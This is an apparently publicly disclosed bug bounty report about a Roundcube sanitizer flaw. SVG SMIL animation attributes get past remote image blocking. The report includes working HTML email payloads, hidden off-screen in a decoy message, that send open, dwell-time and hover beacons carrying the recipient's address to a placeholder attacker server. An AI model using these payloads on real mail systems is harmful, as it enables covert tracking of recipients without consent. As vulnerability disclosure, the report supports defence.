HexBrain

Nextcloud · Report #3590576

SMIL values and by attributes bypass remote image blocking via unvalidated resource-loading animations, enabling email tracking without consent

Validstatus
mediumseverity
26upvotes
20 Apr 2026disclosed

How it was found

When allow_remote is set to false, Roundcube's HTML sanitizer rcube_washtml blocks external resources by validating URI attributes through wash_uri(). For SVG SMIL animation elements (<animate>, <set>, etc.), the to and from attributes are correctly validated by resolving the attributeName and routing through the appropriate URI check (washtml.php L302-308).

However, the values and by attributes are both in the allowed attributes list ($html_attribs) and fall through to the generic pass-through at L335-336 with no URI validation whatsoever. Additionally, the element-level animation block at L573-574 only blocks animations targeting attributeName="href" (the CVE-2024-37383 fix), allowing animations targeting mask, cursor, and other resource-loading attributes to pass through.

Combined, these two gaps allow an attacker to use SMIL animations to load arbitrary external URLs, bypassing allow_remote=false.

Steps To Reproduce

Step 1: Zero-click email open tracking via SVG mask animation

Send an HTML email with the following body:

<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>

<svg width="1" height="1" style="position:absolute;left:-9999px">
  <rect width="1" height="1" fill="white">
    <animate attributeName="mask"
      values="url(//ATTACKER_SERVER/[email protected])"
      fill="freeze" dur="0.001s" />
  </rect>
</svg>

<p>Best regards,<br>Totally Legitimate Company</p>
</body>
</html>

Step 2: Open the email in Roundcube (Firefox) with "Block remote images" enabled.

Step 3: Observe HTTP request to ATTACKER_SERVER/[email protected] in attacker's server logs.

Variant: Dwell-time measurement

The SMIL keyTimes attribute combined with multi-value values allows timed beacon firing, measuring how long a recipient views the email:

<svg width="1" height="1" style="position:absolute;left:-9999px">
  <rect width="1" height="1">
    <animate attributeName="mask"
      values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"
      dur="5s" repeatCount="indefinite" />
  </rect>
</svg>

Variant: Hover interaction tracking

SMIL animation of the CSS cursor property fires a resource load when the user hovers over the element:

<svg width="400" height="100">
  <rect width="400" height="100" fill="#f0f0f0" rx="8">
    <animate attributeType="CSS" attributeName="cursor"
      values="url(//ATTACKER_SERVER/[email protected]), auto"
      fill="freeze" dur="0.001s" />
  </rect>
  <text x="200" y="55" text-anchor="middle"
        font-family="Arial" font-size="14" fill="#333"
        pointer-events="none">Hover over this area</text>
</svg>

Impact

Tracking of opens, read time, and element hover

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original